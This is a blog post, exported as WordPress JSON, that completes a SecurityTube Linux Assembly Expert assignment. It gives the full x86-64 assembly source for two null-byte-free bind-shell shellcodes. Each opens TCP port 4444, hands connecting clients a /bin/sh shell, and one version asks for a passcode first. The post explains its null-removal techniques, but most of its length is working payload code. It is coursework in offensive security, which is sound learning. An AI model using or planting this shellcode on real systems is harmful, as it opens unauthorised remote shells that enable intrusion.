{"id":173,"date":"2018-02-25T11:40:14","date_gmt":"2018-02-25T10:40:14","guid":{"rendered":"http:\/\/pentester.blog\/?p=173"},"modified":"2019-08-18T19:47:32","modified_gmt":"2019-08-18T17:47:32","slug":"slae64-assignment-1-shell-bind-tcp-shellcode","status":"publish","type":"post","link":"https:\/\/hacktarus.fr\/?p=173","title":{"rendered":"SLAE64 &#8211; Assignment #1 &#8211; Shell Bind TCP shellcode"},"content":{"rendered":"<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :<\/p>\n<p>http:\/\/www.securitytube-\u00adtraining.com\/online-\u00adcourses\/x8664-\u00adassembly-\u00adand-\u00adshellcoding-\u00adon-\u00adlinux\/index.html<\/p>\n<p>Student ID: PA-6470<\/p>\n<h2>Assignment #1<\/h2>\n<p>The aim of this assignment is to create a bind shellcode with a passcode and to remove all 0x00 from opcodes.<\/p>\n<p>This shellcode opens a TCP socket and listens on port 4444 :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-178\" style=\"font-size: 1rem;\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/02\/slae64-1-server.png\" alt=\"\" width=\"1338\" height=\"148\" \/><\/p>\n<p>You can connect to this shellcode using netcat command on port 444 :<\/p>\n<p>A passcode is required, enter <strong>pwd<\/strong> and <strong>return key.<\/strong><\/p>\n<p>Here we are on the \/bin\/sh shell !<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-177\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/02\/slae64-1-client.png\" alt=\"\" width=\"924\" height=\"228\" \/><\/p>\n<p>Here are the opcodes of this shellcode, as you can see there are no 0x00 :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-183\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/02\/slae64-1-opcodes.png\" alt=\"\" width=\"1760\" height=\"366\" \/><\/p>\n<p>I&rsquo;ll not detail all parts of this shellcode because there are very similar to the standard TCP bind shellcode seen in SLAE64 course.<\/p>\n<p>However I&rsquo;ll explain the passcode code part and how I&rsquo;ve removed the 0x00.<\/p>\n<p>First, we need to print a passcode text string. The string I&rsquo;ve chosen is 12 characters long (with a space character at the end) :<\/p>\n<p><strong>#passcode : <\/strong><\/p>\n<p>which is <strong>0x2370617373636f6465203a20<\/strong> in hexadecimal. Due to the stack technique we need to push this value in <strong>reverse order <\/strong>\u00a0:<\/p>\n<pre>\t\r\n\tpush 0x203a2065\t\t\t; #passcode : \r\n\tmov rbx, 0x646f637373617023\t; #passcode : \r\n\tpush rbx\r\n<\/pre>\n<p>Then we can print this text using syscall 1. All syscalls can be found here : http:\/\/blog.rchapman.org\/posts\/Linux_System_Call_Table_for_x86_64\/<\/p>\n<p>rdi = file descriptor = 1 = stdout<\/p>\n<p>rsi = text buffer to print = rsp =\u00a0<strong>0x2370617373636f6465203a20 in reverse order<\/strong><\/p>\n<p>rdx = text buffer size<\/p>\n<pre>xor rdx, rdx\u00a0 \r\nmov dl, passcode_required_size\r\n\r\nmov rsi, rsp \r\nxor rdi, rdi\r\nmov dil, 1   ; stdout\r\nxor rax, rax\r\nmov al, 1    ; sys_write\r\nsyscall<\/pre>\n<p>Then we need to ask and wait for user input and store user passcode string in memory. In order to give memory space for user string, I&rsquo;ve chosen to push 8 characters on the stack and to give this pointer to rsi :<\/p>\n<pre>; user input\r\n        \r\n;mov rdx, buffer_size\r\nxor rdx, rdx\r\nmov dl, buffer_size\t\r\n\r\n;mov rsi, buffer\r\nmov rbx, 0x0101010101010101\r\npush rbx\r\nmov rsi, rsp\r\n\r\nxor rdi, rdi   ; stdin\r\nxor rax, rax \r\nsyscall        ; sys_read<\/pre>\n<p>Then we need to check passcode. First I put the correct passcode\u00a0<strong>pwd0x0a\u00a0<\/strong>on the stack<strong>\u00a0<\/strong>and store it in rdi pointer register. Then whithin a loop I compare each character from user input (rsi register) with each character from correct passcode (rdi register). If there is a difference I jump to the exit code part. If all is OK I just continue to the standard shellcode part<strong>.<\/strong><\/p>\n<p>In order to remove 0x00 I&rsquo;m using :<\/p>\n<ul>\n<li>xor &lt;register&gt;, &lt;register&gt; followed by a \u00ab\u00a0small\u00a0\u00bb register technique :<\/li>\n<\/ul>\n<pre>xor rdi, rdi\r\nmov dil, 1<\/pre>\n<ul>\n<li>push data on stack instead of using data segment :<\/li>\n<\/ul>\n<pre>push 0x0a647770\t\t    ; pwd0x0a\r\nmov rdi, rsp<\/pre>\n<p>So here is the check passcode code part :<\/p>\n<pre>  ; check passcode \r\n  push 0x0a647770\t\t    ; pwd0x0a\r\n  mov rdi, rsp\r\n  xor rcx, rcx \r\n  dec rcx\r\ncmp_pwd:\r\n    inc rcx\r\n    mov al, byte [rsi + rcx]\r\n    mov dl, byte [rdi + rcx]\r\n    cmp al, dl                  ; compare each character\r\n    jne exit                    ; jump out of loop if they are not the same\r\n    cmp dl, 0x0a                ; end of string ?\r\n    jne cmp_pwd                 ; not finished, loop again\r\n<\/pre>\n<p>Full source code is available here and on my <a href=\"https:\/\/github.com\/kahlon81\/SLAE64\">Github<\/a> account.<\/p>\n<h2>Source code of\u00a0bind-shell-passcode-safe.nasm<\/h2>\n<pre>; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :\r\n; http:\/\/www.securitytube-training.com\/online-courses\/x8664-assembly-and-shellcoding-on-linux\/index.html\r\n;\r\n; Author : SLAE64-PA-6470 (kahlon81)\r\n; Date : 2018\/02\/21\r\n;\r\n; nasm -f elf64 bind-shell-passcode-safe.nasm -o bind-shell-passcode-safe.o\r\n; ld bind-shell-passcode-safe.o -o bind-shell-passcode-safe\r\n\r\n\r\nglobal _start\r\n\r\nsection .bss\r\n    buffer resb 20               ; buffer of 20 bytes\r\n    buffer_size equ $ - buffer   ; buffer size\r\n    \r\nsection .data\r\n    passcode: db 'pwd',0x0a\r\n    passcode_required: db '#passcode : '\r\n    passcode_required_size equ $ - passcode_required\r\n\r\nsection .text\r\n_start:\r\n\r\n    ; sock = socket(AF_INET, SOCK_STREAM, 0)\r\n    ; AF_INET = 2\r\n    ; SOCK_STREAM = 1\r\n    ; syscall number 41 \r\n\r\n    xor rax, rax\r\n    mov al, 41\r\n\r\n    xor rdi, rdi\r\n    mov dil, 2\r\n\t\r\n    xor rsi, rsi\r\n    mov sil, 1\r\n\r\n    xor rdx, rdx\r\n    syscall\r\n\r\n    ; copy socket descriptor to rdi for future use \r\n\r\n    mov rdi, rax\r\n\r\n    ; server.sin_family = AF_INET \r\n    ; server.sin_port = htons(PORT)\r\n    ; server.sin_addr.s_addr = INADDR_ANY\r\n    ; bzero(&amp;server.sin_zero, 8)\r\n\r\n    xor rax, rax \r\n\r\n    push rax\r\n\r\n    mov dword [rsp-4], eax\r\n    mov word [rsp-6], 0x5c11\r\n\r\n    mov word [rsp-8], 0x1FF\r\n    sub word [rsp-8], 0x1FD\r\n\r\n    sub rsp, 8\r\n\r\n    ; bind(sock, (struct sockaddr *)&amp;server, sockaddr_len)\r\n    ; syscall number 49\r\n\r\n    xor rax, rax\r\n    mov al, 49\t\r\n\r\n    mov rsi, rsp\r\n\t\r\n    xor rdx, rdx\r\n    mov dl, 16\t\r\n\r\n    syscall\r\n\r\n    ; listen(sock, MAX_CLIENTS)\r\n    ; syscall number 50\r\n \r\n    xor rax, rax \r\n    mov al, 50\r\n\r\n    xor rsi, rsi\r\n    mov sil, 2\r\n\t\r\n    syscall\r\n\r\n    ; new = accept(sock, (struct sockaddr *)&amp;client, &amp;sockaddr_len)\r\n    ; syscall number 43\r\n\r\n    xor rax, rax\r\n    mov al, 43\r\n\r\n    sub rsp, 16\r\n    mov rsi, rsp\r\n    mov byte [rsp-1], 16\r\n    sub rsp, 1\r\n    mov rdx, rsp\r\n\r\n    syscall\r\n\r\n    ; store the client socket description \r\n    mov r9, rax \r\n\r\n    ; close parent\r\n    xor rax, rax\r\n    mov al, 3\t\r\n    syscall\r\n\r\n    ; duplicate sockets\r\n    ; dup2 (new, old)\r\n    mov rdi, r9\r\n    xor rax, rax\r\n    mov al, 33        \r\n    xor rsi, rsi\r\n    syscall\r\n\r\n    xor rax, rax\r\n    mov al, 33        \r\n    xor rsi ,rsi\r\n    mov sil, 1\t\r\n    syscall\r\n\r\n    xor rax, rax\r\n    mov al, 33\r\n    xor rsi, rsi\r\n    mov sil, 2\t\r\n    syscall\r\n\r\n    ; passcode is required\r\n    xor rdx, rdx\r\n    mov dl, passcode_required_size\r\n\t\r\n    ;mov rsi, passcode_required\r\n    push 0x203a2065\t        ; #passcode : \r\n    mov rbx, 0x646f637373617023\t; #passcode : \r\n    push rbx\r\n    mov rsi, rsp \r\n\r\n    xor rdi, rdi\r\n    mov dil, 1   ; stdout\r\n    xor rax, rax\r\n    mov al, 1    ; sys_write\r\n    syscall\t\r\n\r\n    ; user input\r\n        \r\n    ;mov rdx, buffer_size\r\n    xor rdx, rdx\r\n    mov dl, buffer_size\t\r\n\r\n    ;mov rsi, buffer\r\n    mov rbx, 0x0101010101010101\r\n    push rbx\r\n    mov rsi, rsp\r\n\r\n    xor rdi, rdi   ; stdin\r\n    xor rax, rax \r\n    syscall        ; sys_read\r\n\r\n    ; check passcode \r\n\t\r\n    ;lea rsi, [buffer]      ; user passcode\r\n    ;mov rsi, buffer\r\n    ;lea rdi, [passcode]    ; true passcode\r\n    ;mov rdi, passcode\r\n    push 0x0a647770         ; pwd0x0a\r\n    mov rdi, rsp\r\n    xor rcx, rcx \r\n    dec rcx\r\ncmp_pwd:\r\n    inc rcx\r\n    mov al, byte [rsi + rcx]\r\n    mov dl, byte [rdi + rcx]\r\n    cmp al, dl                  ; compare each character\r\n    jne exit                    ; jump out of loop if they are not the same\r\n    cmp dl, 0x0a                ; end of string ?\r\n    jne cmp_pwd                 ; not finished, loop again\r\n    ; shellcode\r\n\r\n    ; execve\r\n    ; First NULL push\r\n    xor rax, rax\r\n    push rax\r\n\r\n    ; push \/bin\/\/sh in reverse\r\n    mov rbx, 0x68732f2f6e69622f\r\n    push rbx\r\n\r\n    ; store \/bin\/\/sh address in RDI\r\n    mov rdi, rsp\r\n\r\n    ; Second NULL push\r\n    push rax\r\n\r\n    ; set RDX\r\n    mov rdx, rsp\r\n\r\n    ; push address of \/bin\/\/sh\r\n    push rdi\r\n\r\n    ; set RSI\r\n    mov rsi, rsp\r\n\r\n    ; Call the execve syscall\r\n    add rax, 59\r\n    syscall\r\n\r\nexit:\r\n    xor rdi, rdi\r\n    add dil, 1\r\n    xor rax, rax\r\n    add al, 60\r\n    syscall\r\n<\/pre>\n<h2>Source code of\u00a0bind-shell-safe.nasm<\/h2>\n<pre>; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :\r\n; http:\/\/www.securitytube-training.com\/online-courses\/x8664-assembly-and-shellcoding-on-linux\/index.html\r\n;\r\n; Author : SLAE64-PA-6470 (kahlon81)\r\n; Date : 2018\/02\/21\r\n;\r\n; nasm -f elf64 bind-shell-safe.nasm -o bind-shell-safe.o\r\n; ld bind-shell-safe.o -o bind-shell-safe\r\n\r\nglobal _start\r\n\r\n\r\n_start:\r\n\r\n\t; sock = socket(AF_INET, SOCK_STREAM, 0)\r\n\t; AF_INET = 2\r\n\t; SOCK_STREAM = 1\r\n\t; syscall number 41 \r\n\r\n\txor rax, rax\r\n\tmov al, 41\r\n\r\n\txor rdi, rdi\r\n\tmov dil, 2\r\n\t\r\n\txor rsi, rsi\r\n\tmov sil, 1\r\n\r\n\txor rdx, rdx\r\n\t\r\n\tsyscall\r\n\r\n\t; copy socket descriptor to rdi for future use \r\n\r\n\tmov rdi, rax\r\n\r\n\t; server.sin_family = AF_INET \r\n\t; server.sin_port = htons(PORT)\r\n\t; server.sin_addr.s_addr = INADDR_ANY\r\n\t; bzero(&amp;server.sin_zero, 8)\r\n\r\n\txor rax, rax \r\n\r\n\tpush rax\r\n\r\n\tmov dword [rsp-4], eax\r\n\tmov word [rsp-6], 0x5c11\r\n\r\n\tmov word [rsp-8], 0x1FF\r\n\tsub word [rsp-8], 0x1FD\r\n\r\n\tsub rsp, 8\r\n\r\n\t; bind(sock, (struct sockaddr *)&amp;server, sockaddr_len)\r\n\t; syscall number 49\r\n\r\n\txor rax, rax\r\n\tmov al, 49\t\r\n\r\n\tmov rsi, rsp\r\n\t\r\n\txor rdx, rdx\r\n\tmov dl, 16\t\r\n\r\n\tsyscall\r\n\r\n\t; listen(sock, MAX_CLIENTS)\r\n\t; syscall number 50\r\n\r\n\txor rax, rax\r\n\tmov al, 50\r\n\r\n\txor rsi, rsi\r\n\tmov sil, 2\r\n\t\r\n\tsyscall\r\n\r\n\t; new = accept(sock, (struct sockaddr *)&amp;client, &amp;sockaddr_len)\r\n\t; syscall number 43\r\n\t\r\n\txor rax, rax\r\n\tmov al, 43\r\n\r\n\tsub rsp, 16\r\n\tmov rsi, rsp\r\n        mov byte [rsp-1], 16\r\n        sub rsp, 1\r\n        mov rdx, rsp\r\n\r\n        syscall\r\n\r\n\t; store the client socket description \r\n\tmov r9, rax \r\n\r\n        ; close parent\r\n\r\n\txor rax, rax\r\n\tmov al, 3\t\r\n\r\n        syscall\r\n\r\n        ; duplicate sockets\r\n\r\n        ; dup2 (new, old)\r\n        mov rdi, r9\r\n        \r\n\txor rax, rax\r\n\tmov al, 33        \r\n\r\n\txor rsi, rsi\r\n\r\n        syscall\r\n\r\n\txor rax, rax\r\n\tmov al, 33        \r\n\r\n\txor rsi ,rsi\r\n\tmov sil, 1\t\r\n\r\n        syscall\r\n\r\n\txor rax, rax\r\n\tmov al, 33\r\n\r\n\txor rsi, rsi\r\n\tmov sil, 2\t\r\n\r\n        syscall\r\n\r\n        ; execve\r\n\r\n        ; First NULL push\r\n\r\n        xor rax, rax\r\n        push rax\r\n\r\n        ; push \/bin\/\/sh in reverse\r\n\r\n        mov rbx, 0x68732f2f6e69622f\r\n        push rbx\r\n\r\n        ; store \/bin\/\/sh address in RDI\r\n\r\n        mov rdi, rsp\r\n\r\n        ; Second NULL push\r\n        push rax\r\n\r\n        ; set RDX\r\n        mov rdx, rsp\r\n\r\n\r\n        ; Push address of \/bin\/\/sh\r\n        push rdi\r\n\r\n        ; set RSI\r\n\r\n        mov rsi, rsp\r\n\r\n        ; Call the Execve syscall\r\n        add rax, 59\r\n        syscall\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification : http:\/\/www.securitytube-\u00adtraining.com\/online-\u00adcourses\/x8664-\u00adassembly-\u00adand-\u00adshellcoding-\u00adon-\u00adlinux\/index.html Student ID: PA-6470 Assignment #1 The aim of this assignment is to create a bind shellcode with a passcode and to remove all 0x00 from opcodes. This shellcode opens a TCP socket and listens on port &hellip; <a href=\"https:\/\/hacktarus.fr\/?p=173\" class=\"more-link\">Continuer la lecture de <span class=\"screen-reader-text\">SLAE64 &#8211; Assignment #1 &#8211; Shell Bind TCP shellcode<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-173","post","type-post","status-publish","format-standard","hentry","category-slae64"],"_links":{"self":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/173","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=173"}],"version-history":[{"count":22,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/173\/revisions"}],"predecessor-version":[{"id":296,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/173\/revisions\/296"}],"wp:attachment":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=173"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=173"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=173"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}